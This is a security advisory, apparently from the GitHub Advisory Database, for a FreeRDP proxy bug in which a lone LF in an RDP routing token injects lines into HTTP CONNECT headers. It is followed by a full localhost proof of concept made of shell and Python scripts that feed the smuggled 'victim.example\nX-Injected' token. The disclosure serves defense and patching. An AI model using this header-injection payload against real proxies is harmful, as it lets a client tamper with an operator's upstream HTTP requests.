FreeRDP proxy routing token can inject HTTP CONNECT request headers
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
A remote RDP client can place a lone LF in the target portion of a FreeRDP proxy routing token. When the FreeRDP proxy is configured with FixedTarget=false and uses an upstream HTTP proxy, FreeRDP preserves the LF in FreeRDP_ServerHostname and writes it into both the CONNECT request line and the Host header. This changes HTTP request/header framing at the operator's upstream proxy.
The demonstrated impact is limited to HTTP request/header integrity. The validation did not demonstrate a second request, internal-service access, returned response, confidentiality loss, availability loss, memory corruption, or code execution.
Prerequisites
- Mallory can connect to the FreeRDP proxy listener.
- The proxy uses
FixedTarget=false. - The proxy uses an upstream HTTP proxy.
- The downstream HTTP implementation treats lone LF as a line delimiter.
Technical details
nego_read_request_token_or_cookie in libfreerdp/core/nego.c terminates the routing token only on an exact CRLF pair, so a lone LF survives. pf_server_parse_target_from_routing_token in server/proxy/pf_server.c copies the complete suffix after Cookie: msts= into the destination hostname without rejecting HTTP delimiter bytes. http_proxy_connect in libfreerdp/core/proxy.c then writes that hostname into the CONNECT authority and Host header without validation.
The control token:
Cookie: msts=victim.example
produced exactly:
CONNECT victim.example:3389 HTTP/1.1\r\n Host: victim.example:3389\r\n \r\n
The positive token:
Cookie: msts=victim.example\nX-Injected
produced exactly:
CONNECT victim.example\n X-Injected:3389 HTTP/1.1\r\n Host: victim.example\n X-Injected:3389\r\n \r\n
Reproduction
The sibling poc/ directory contains a portable positive case and control using FreeRDP's shipped proxy and Sample client sources. From the disclosure directory:
cd poc ./run.sh SOURCE_DIR BUILD_DIR
The final replay printed:
PASS control: 67 bytes sha256=78900b8b4d5131ad11a571786ff0730bff460d23c7433763eac0713a2b9d0984 PASS positive: 89 bytes sha256=c1ecc5b8f0c364628e9ca4bae6e14ecdeedbb1af47d849f339bbd382c6057651 PASS positive: attacker-controlled LF changed both HTTP header contexts
Remediation
Validate every hostname at the shared http_proxy_connect sink and reject CR, LF, NUL, spaces, and other bytes that cannot occur in an HTTP authority before serializing the request. Independently parse and validate routing-token targets in pf_server_parse_target_from_routing_token. Add end-to-end regression cases for lone LF, lone CR, CRLF, NUL, and a well-formed control.
Portable PoC files
<!-- BEGIN FILE: poc/build_sample_client.sh -->
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -ne 3 ]]; then
echo "usage: $0 SOURCE_DIR BUILD_DIR OUTPUT" >&2
exit 2
fi
SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
OUTPUT=$3
find_library() {
local pattern=$1
local library
library=$(find "$BUILD" -type f -name "$pattern" -print | sort -V | tail -n 1)
if [[ -z "$library" ]]; then
echo "required library not found: $pattern" >&2
exit 1
fi
printf '%s\n' "$library"
}
CLIENT_LIB=$(find_library 'libfreerdp-client3.so.*')
CORE_LIB=$(find_library 'libfreerdp3.so.*')
WINPR_LIB=$(find_library 'libwinpr3.so.*')
SANITIZER_FLAGS=()
if readelf -d "$CORE_LIB" 2>/dev/null | grep -qE 'libasan|libubsan'; then
SANITIZER_FLAGS=(-fsanitize=address,undefined -fno-omit-frame-pointer)
fi
cc -std=c11 -O1 -g "${SANITIZER_FLAGS[@]}" \
-I"$BUILD/include" -I"$BUILD/winpr/include" \
-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
-I"$SOURCE/client/Sample" \
"$SOURCE/client/Sample/tf_freerdp.c" \
"$SOURCE/client/Sample/tf_channels.c" \
"$CLIENT_LIB" "$CORE_LIB" "$WINPR_LIB" \
-Wl,--allow-shlib-undefined -o "$OUTPUT"<!-- END FILE: poc/build_sample_client.sh -->
<!-- BEGIN FILE: poc/capture_proxy.py -->
#!/usr/bin/env python3
import argparse
import socket
from pathlib import Path
def visible(data: bytes) -> str:
rendered = []
for byte in data:
if byte == 0x0D:
rendered.append("\\r")
elif byte == 0x0A:
rendered.append("\\n\n")
elif 0x20 <= byte <= 0x7E:
rendered.append(chr(byte))
else:
rendered.append(f"\\x{byte:02x}")
return "".join(rendered)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("port", type=int)
parser.add_argument("output", type=Path)
args = parser.parse_args()
args.output.mkdir(parents=True, exist_ok=True)
with socket.socket() as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", args.port))
listener.listen(1)
listener.settimeout(20)
connection, _ = listener.accept()
with connection:
connection.settimeout(5)
data = bytearray()
while b"\r\n\r\n" not in data and len(data) < 65536:
chunk = connection.recv(4096)
if not chunk:
break
data.extend(chunk)
raw = bytes(data)
(args.output / "request.bin").write_bytes(raw)
(args.output / "request.hex").write_text(raw.hex() + "\n", encoding="ascii")
(args.output / "request.visible.txt").write_text(
visible(raw), encoding="utf-8"
)
connection.sendall(b"HTTP/1.1 200 Connection established\r\n\r\n")
print(f"captured {len(raw)} bytes")
return 0
if __name__ == "__main__":
raise SystemExit(main())<!-- END FILE: poc/capture_proxy.py -->
<!-- BEGIN FILE: poc/run.sh -->
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -ne 2 ]]; then
echo "usage: $0 SOURCE_DIR BUILD_DIR" >&2
exit 2
fi
POC_DIR=$(cd "$(dirname "$0")" && pwd)
SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
REVISION=$(git -c safe.directory="$SOURCE" -C "$SOURCE" rev-parse HEAD)
case "$REVISION" in
63b948ca5cb94307fd5444ee6e73927a41ccdab4|\
fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\
193fe551c9925c761722f589437decf9bc81d7aa)
;;
*)
echo "unsupported source revision: $REVISION" >&2
echo "use FreeRDP 3.31.1 or one of the two inspected master revisions" >&2
exit 1
;;
esac
PROXY=$(find "$BUILD" -type f -path '*/server/proxy/cli/freerdp-proxy' \
-perm -u+x -print -quit)
if [[ -z "$PROXY" ]]; then
echo "freerdp-proxy was not found in BUILD_DIR" >&2
exit 1
fi
WORK_ROOT=${POC_WORK_ROOT:-$PWD}
WORK=$(mktemp -d "$WORK_ROOT/freerdp-routing-token.XXXXXX")
PROXY_PID=
CAPTURE_PID=
cleanup() {
if [[ -n "$CAPTURE_PID" ]] && kill -0 "$CAPTURE_PID" 2>/dev/null; then
kill "$CAPTURE_PID" 2>/dev/null || true
wait "$CAPTURE_PID" 2>/dev/null || true
fi
if [[ -n "$PROXY_PID" ]] && kill -0 "$PROXY_PID" 2>/dev/null; then
kill "$PROXY_PID" 2>/dev/null || true
wait "$PROXY_PID" 2>/dev/null || true
fi
if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then
echo "artifacts retained in $WORK"
else
rm -rf "$WORK"
fi
}
trap cleanup EXIT
read -r PROXY_PORT CAPTURE_PORT < <(python3 - <<'PY'
import socket
sockets = []
ports = []
for _ in range(2):
sock = socket.socket()
sock.bind(("127.0.0.1", 0))
sockets.append(sock)
ports.append(sock.getsockname()[1])
print(*ports)
for sock in sockets:
sock.close()
PY
)
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=localhost' -keyout "$WORK/key.pem" -out "$WORK/cert.pem" \
>/dev/null 2>&1
cat >"$WORK/proxy.ini" <<EOF
[Server]
Host=127.0.0.1
Port=$PROXY_PORT
[Target]
FixedTarget=false
Port=3389
TlsSecLevel=1
SmartcardAuth=false
[Codecs]
RFX=true
NSC=true
[Channels]
GFX=true
DisplayControl=true
Clipboard=true
AudioInput=false
AudioOutput=false
DeviceRedirection=false
VideoRedirection=false
CameraRedirection=false
RemoteApp=false
PassthroughIsBlacklist=true
[Input]
Keyboard=true
Mouse=true
Multitouch=false
[Security]
ServerTlsSecurity=true
ServerNlaSecurity=false
ServerExtSecurity=false
ServerRdpSecurity=false
ClientTlsSecurity=true
ClientNlaSecurity=false
ClientExtSecurity=false
ClientRdpSecurity=false
ClientAllowFallbackToTls=false
[Certificates]
CertificateFile=$WORK/cert.pem
PrivateKeyFile=$WORK/key.pem
EOF
BUILD_LIBS=$(find "$BUILD" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
DEPS_DIR=$(dirname "$BUILD")/deps
DEP_LIBS=
if [[ -d "$DEPS_DIR" ]]; then
DEP_LIBS=$(find "$DEPS_DIR" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
fi
export LD_LIBRARY_PATH="$BUILD_LIBS${DEP_LIBS:+:$DEP_LIBS}"
"$POC_DIR/build_sample_client.sh" "$SOURCE" "$BUILD" "$WORK/sfreerdp" \
>"$WORK/build.stdout" 2>"$WORK/build.stderr"
HTTPS_PROXY="http://127.0.0.1:$CAPTURE_PORT" \
https_proxy="http://127.0.0.1:$CAPTURE_PORT" \
NO_PROXY= no_proxy= \
"$PROXY" "$WORK/proxy.ini" >"$WORK/proxy.stdout" 2>"$WORK/proxy.stderr" &
PROXY_PID=$!
for _ in $(seq 1 100); do
if (echo >/dev/tcp/127.0.0.1/"$PROXY_PORT") 2>/dev/null; then
break
fi
sleep 0.1
done
kill -0 "$PROXY_PID"
run_case() {
local name=$1
local token=$2
local output="$WORK/$name"
mkdir -p "$output"
timeout 25 python3 "$POC_DIR/capture_proxy.py" "$CAPTURE_PORT" "$output" \
>"$output/capture.stdout" 2>"$output/capture.stderr" &
CAPTURE_PID=$!
sleep 0.2
timeout 20 env -u HTTPS_PROXY -u https_proxy -u NO_PROXY -u no_proxy \
"$WORK/sfreerdp" \
/v:127.0.0.1:"$PROXY_PORT" /u:alice /p:demonstration-only \
/cert:ignore /sec:tls /log-level:WARN \
"/load-balance-info:$token" \
>"$output/client.stdout" 2>"$output/client.stderr"
wait "$CAPTURE_PID"
CAPTURE_PID=
}
run_case control 'Cookie: msts=victim.example'
run_case positive $'Cookie: msts=victim.example\nX-Injected'
python3 "$POC_DIR/verify.py" "$WORK"<!-- END FILE: poc/run.sh -->
<!-- BEGIN FILE: poc/verify.py -->
#!/usr/bin/env python3
import argparse
import hashlib
from pathlib import Path
CONTROL = (
b"CONNECT victim.example:3389 HTTP/1.1\r\n"
b"Host: victim.example:3389\r\n"
b"\r\n"
)
POSITIVE = (
b"CONNECT victim.example\nX-Injected:3389 HTTP/1.1\r\n"
b"Host: victim.example\nX-Injected:3389\r\n"
b"\r\n"
)
def check(label: str, path: Path, expected: bytes) -> None:
actual = path.read_bytes()
if actual != expected:
raise SystemExit(
f"FAIL {label}: captured bytes differ\n"
f"expected={expected!r}\nactual={actual!r}"
)
digest = hashlib.sha256(actual).hexdigest()
print(f"PASS {label}: {len(actual)} bytes sha256={digest}")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("workdir", type=Path)
args = parser.parse_args()
check("control", args.workdir / "control" / "request.bin", CONTROL)
check("positive", args.workdir / "positive" / "request.bin", POSITIVE)
positive = (args.workdir / "positive" / "request.bin").read_bytes()
if positive.count(b"\nX-Injected:3389") != 2:
raise SystemExit("FAIL positive: injected line did not occur twice")
print("PASS positive: attacker-controlled LF changed both HTTP header contexts")
return 0
if __name__ == "__main__":
raise SystemExit(main())<!-- END FILE: poc/verify.py -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0, <= 3.31.1GitHub